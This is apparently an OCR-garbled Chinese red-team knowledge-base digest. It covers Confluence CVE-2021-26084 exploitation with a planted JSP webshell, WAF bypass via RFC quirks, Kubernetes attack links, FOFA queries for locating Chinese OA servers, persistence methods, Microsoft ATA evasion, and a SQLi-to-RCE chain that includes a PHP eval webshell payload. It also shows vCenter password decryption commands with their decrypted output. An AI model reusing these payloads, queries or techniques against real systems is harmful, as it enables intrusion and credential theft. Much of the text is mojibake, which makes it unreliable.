o SRIREFTF M FcitrixiI3iERE

TS5 -Confluence[5FI B

o EEIERE, TMAFPER
o BMAFEROL
o {&Personal Access Tokens(by 3gstudent)
o Xt
o Windows: ConfluenceZAiAMXfRSynetwork service, EBEGSNR
o Linux: ConfluenceZRiAiXBRAconfluence, REBR, AUEHAED

M3IXCVE-2021-26084:


https://10.10.10.1/ui
https://www.se7ensec.cn/2020/09/30/%E9%B1%BC%E5%8F%89%E6%94%BB%E5%87%BB-Mail-Probe%E9%82%AE%E7%AE%B1%E6%8E%A2%E9%92%88%E5%90%8E%E5%8F%B0%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/
https://mp.weixin.qq.com/s/wUv3DIN4woXMZmYOCG2MGg

e Windows Server 2016

e Atlassian Confluence 7.4.10
e Postgresql 12.8-1

e AntSword

+ | Atlassian

-

=4
&« v M > [WEERR » EHBEESE (C) » Program Files > Atlassian »
£ : =2
* REAE
Application Data
B8 rah Confluence
[ , Ly 11
= en4Lin Lab
- =

192.168.100.139:809

AntSword #H3:F =0 BF
« = (5192.168.100.139 >~ 192.168.100.139 »

2021/09/11
2021/09/11 -
2021/09/11 H .install4j
2021/09/11 H bin
2021/07/22 H 19,542 BUILDING.txt
2021/09/11 H conf
2021/09/11 H confluence
2021/07/22 H 121,877 Confluence.ico
2021/07/22 H 125,416 Confluenceplay.ico
2021/07/22 : 122,440 Confluencestop.ico
2021/07/22 H 127,883 Confluenceuninstall.ico
2021/07/22 H 5,728 CONTRIBUTING.md
2021/07/22 : 184 control_service.bat
2021/09/11 H 141,466 install.reg
2021/09/11 H jre
2021/09/11 : 120 Launch Confluence in browser.url
2021/09/11 H 1lib
2021/07/22 H 58,153 LICENSE
2021/09/11 H licenses
2021/09/11 H logs
2021/07/22 : 2,401 NOTICE
2021/07/22 H 2,294 README.html
2021/07/22 H 3,336 README.md
2021/07/22 H 1,204 README.txt
2021/07/22 : 7,072 RELEASE-NOTES
2021/07/22 g 16,984 RUNNING.txt
2021/07/22 : 1,356 shutdown bundled jre.bat
2021/07/22 H 1,500 startup_bundled jre.bat
2021/09/11 H 207 start_service.bat
2021/09/11 : 205 stop_service.bat
2021/09/11 H <DIR> synchrony-proxy
2021/09/11 H <DIR> temp
2021/07/22 H 400,336 uninstall.exe
2021/07/22 H <DIR> webapps
2021/07/22 : <DIR> work
2021/09/11 142 1,596 x.jsp

22 99910 1,161,300 9

14 @@E% 80,945,803,264 990009
C:\Program Files\Atlassian\Confluence>

A ATLASSIAN oenduin Lab
o HUEERE -confluence.cfg.xml

# WindowsBRiAZEE
C:\Program Files\Atlassian\Application Data\Confluence\confluence.cfg.xml

# UbuntuBRINZRZE
/var/atlassian/application-data/confluence/confluence.cfg.xml




B - X TFHIRFCHTRHLEM

For better or worse, Requests Comments (RFCs) are how we specify many protocols on

the Internet.

RFCHLESEFMER I R RBI:

MRFCHERM ISR Swaf EERSE £F
MRFCHSEEMI R Swaf LIEERE T

FA URN %52 URL W&

A multipart boundary %id WAF

An Exploration of JSON Interoperability Vulnerabilities
[FIERFCIXAHAg—LE/ N tip

$5)pE:

How to Read an RFC(H33iEER)
How to Read an RFC


https://www.anquanke.com/post/id/241265
https://www.anquanke.com/post/id/242583
https://mp.weixin.qq.com/s/SysCJTcYRpV6dj9QfeQYmQ
https://mp.weixin.qq.com/s/Wsl17GjucN08YAiwbm0vYQ
https://bishopfox.com/blog/json-interoperability-vulnerabilities
https://articles.zsxq.com/id_ulap24qht285.html
https://juejin.cn/post/6844903716051484679
https://www.mnot.net/blog/2018/07/31/read_rfc

BEE-nHEIS THNEE

o Why?

BIEEEIIXEZICAMERTEH 18RS A HYES R TRSERE, EiR@IndayfI T —&Aweblogic, #
£ T7webshell, H{R3 BArl FBRRRIEKRE, MELKMATHLLEE, BFRBNIERANERE) &; T2
BRexpf] T—IR, BINT, WRMLIpAIEERETEMR: KKT, MEFFET? AXLERBANESG, RETHEM

= MEYE AR, BILHRSEMAKESHXE, RHENENNAEERESZ, IR TAEAEY & BRHN

o

e What?

# BRER: —DNEBEMNOKERSERRERSLIOMME, SHEMNE20MMERERSNIETEMRSZHHK
BA, BRHEBMAIRKERE (FBEFRERE/NELRNE) ., RERNMNEMEBERTELR, EFRFE—TH
0. AEHENZOME"DRED".

e How?
o BENIE - EIYEIRF
o TAEIYEERINIC
o MHFIIHTHY WebShell HEix
o WWZIE-FRPIAEIHE
o proxyshell #¥tExchangefi&t511E% THIEXMRPOC
o Neo-reGeorg-(3F php) EXHFANIER, N HRHIIEFE
o IREAWK | MRAZIYESLCONN A LI EXKIRE

X E-K8SIHFETHIEE

e KubernetesZ&iMIiXLiEF

e Kubernetes(K8s)##m#&hinE

e KubernetesZ&A\|[]

o Kubernetes&&$51E MK

e K8siZiEMit Zzkube-apiserver)H

e KOOTKIT: HACK K8S IN A K8S WAY

o R LCTF cloudiEFHARE 2 k8SIBIBL A
o BRLE & FRBEFIZEIL

o GRARE|ETABRATT&CKIAEFFELIKEL T AR
o FIKBSHEN2IMKE A

o AENMHPNCFRERBEZERMALR

1


https://blog.csdn.net/Z_Grant/article/details/99636169
https://xz.aliyun.com/t/10297
https://mp.weixin.qq.com/s/4Bmz_fuu0yrLMK1oBKKtRA
https://scarletf.github.io/2021/02/03/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-FRP%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1/
https://www.t00ls.cc/articles-64010.html
https://github.com/L-codes/Neo-reGeorg#features
https://www.freebuf.com/vuls/227805.html
https://tttang.com/archive/1389/
https://payloads.online/archivers/2021-07-20/1/
https://xz.aliyun.com/t/4276
https://www.freebuf.com/vuls/196993.html
https://www.cdxy.me/?p=839
http://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/
https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/
https://lfysec.top/2021/07/13/%E5%AE%B9%E5%99%A8%E5%AE%89%E5%85%A8%20&%20%E5%AE%B9%E5%99%A8%E6%B8%97%E9%80%8F%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://www.secpulse.com/archives/168616.html
https://www.wangan.com/p/7fygf39b3e601183
https://security.tencent.com/index.php/blog/msg/183

(£ B UK EE - FoFask BYF R 84 B /S
HME5 |12 EE K6

body="web.config" "oa" && "rar" && country="CN"
body="web.config" "U8" && country="CN"
body="web.config" "EAS" && country="CN"
body="web.config" "k3s" && country="CN"

body="web.config" "kingdee" && country="CN"
body="web.config" "ZR4" && country="CN"
body="web.config" "FpA" && country="CN"
body="web.config" "EKP" && country="CN"

MR REOAZZRME?

-/

<dir> back
925626681 ecology.rar
219536736 EMobile.rar
22742748 EMobile5.8 201:

70764187 JDK.rar
140A55267 -+dk1 7.8 79.rat

326753331 Resin.rar
<dir> tmp

168 web.config

118 EiflResin(FLEZ
<dir> ZERE
134 ZERE .bat
222 ZEBE .rar

<dir> 1E

TR -XEEAN>RCE MR

e \Web
o Webshell
o X#EZE (php)
o HEMR3IZ(.vm, .ftl)
o BIAH(.groovy)
e Linux
o t¥lIfES cron
o FtliEshtER /etc/rc.local
o SSHA%H



e Windows
o BNl
o MOF(windows 2003)

A -Microsoft ATA 306

RBEY, BETHA—EMEBCERT, B—XR#EC Vegetable Cried ! ! !

What is Advanced Threat Analytics?
. Week of Evading Microsoft ATA @Nikhil SamratAshok Mittal
Microsoft ATA Evasion (Over PTH, Golden Ticket)

°
w N = o
. .

. Evading Microsoft ATA for Active Directory Domination @Black Hat

FT =2 -SQLi+35U5XSS—RCE

o BMARTFEMNFESEN
o sqlmap¥kEXZIsql-shell(mysql)
» HiZEEAshellkM(into outfile/dump), &M REEEZER
= BES AshellkM (HERHEZMRINER)
o BWFwebEEREFEWKSEE, EXKN, REERF
o BURERIEFE XSS
o SERtRIERRE—IEE
o FAEERIE. B5BEERFERE
o XSS — EFAHRRES<
» BEHRETUEAphp—aIE
o MABE

o FuhfhEESIENIRENMISqL-shelURIEN HEXHEME, EEWEBEAphp—IE, HTFSHIEEEFEAERE, T2
payloadi§S#ic Z RSB HEXHH, getshell

URLI3E * a.php
ERED - |
Puh &

getshell/s, AR AFICRUT:

"%<?php @eval($_POST ) X'



https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
http://www.labofapenetrationtester.com/search/label/Advanced%20Threat%20Analytics
https://cyberstruggle.org/microsoft-ata-evasion-overpth-golden-ticket/
https://www.youtube.com/watch?v=bHkv63-1GBY

T2 -3 T8 /1EZB -mysql ibdatal

e by Bughunter

I JEEYmysqlidibdatal 3t

, EXHEREFEBIEEAS

>
E 10N

ERUtT-8FTAXY, (EREMNER

admin([a-f\d1{32}|[A-F\d1{32})

A =%
S THE—P)
dmin([a-f\d]{32}|[A-F\d]{32 v

| admin([a-A\d}{32}I[A-F\d}{32}) | [> e
O] ez 5 (C) O (E)X0) P
O] ogege 4 im(w) © EMiFiAX) TR
I:l Eggg(l) O %XF?@J(E) R —

; Ofiza@m) 2 IS
Ol RHARBTEA4(G) =
Ol RgZ#%R(S) EHR) >>
BRI THE/ERAM(D) %R
O @R () e,
O gzmmEL T iEeEL)

a® "\bo oo o o

=R =T (R I e =M dmine 10adc3949ba59abbe56e057f20f88 3 e [PELELS

AW -vCenterfl A - REXESXINK S 215

e by Jing Ling

vhost password decrypt:

e https://github.com/shmilylty/vhost_password_decrypt

HRMT:


https://github.com/shmilylty/vhost_password_decrypt

E¥  vhost_password_decrypt X + v

Windows PowerShell
WR®FTHE (C) Microsoft Corporation, {REFTHENF.

S FHEF S PowerShell https://aka.ms/pscore6

MENARRAEREXHRT 974 =7,
E:\Tools\0.IZ 52 1E\2. imiE Al B\ %5 &% iF \vcenter\vhost_password-decrypt

cat .\password.enc
*tktZGW50GHUBEOXYyWCTrOWTu2PSMGWSvcqEsuAMnwcNuF0/rQPRsOyygRRY./WaM3I0I/BrqcThiaiM3 juJw+KtA==
*Z2dvmNiLEXzZL /uhdW6ZbUPxURR721iD+xFtdAONIhJI8XxpFNIW/axpyKMQ8BIWIFTzzoxQnAm2PaXu86yExLX7q
*0f2KQPhHK1J06Kad9cobgKUoHGUBOBFxupIbqcNgst8Nx1UZCOU6RgNwbvlyGeSgMC8zegdJdJed6HLbZYKkstw==
*£25/B/a2537u+KEBe®TEBYwb6AVXKHRZNFRhObPfCtgpqIoMD3hulimsPUeY9J00eFyaQ6MFuArPBE2aapuGdRg==

E:\Tools\0.IZ 52 1E\2. imiE #l B\ %5 & % i@ \vcenter\vhost_password_decrypt
python3 .\decrypt.py symkey.dat password.enc password.txt

E:\Tools\0.IZ[5i21E\2. imiE# B\ % EiFiE \vcenter\vhost_password_decrypt
cat .\password.txt

{L1K@7-=3k_8_\Kh}2nnur5SP-G. .i5j

~115CT2kc71LK\K=WO5L52IUK}6L":i7u

~8@X0D59q6R7_6P] :08/2m68E . 8i7Es[

“uyr{QjIHAPZR4ap95"8zkxhZ1Eq_n.b

E:\Tools\0.IZ 52 1E\2. i iE A FA\4% &% iE \vcenter\vhost_password_decrypt
\
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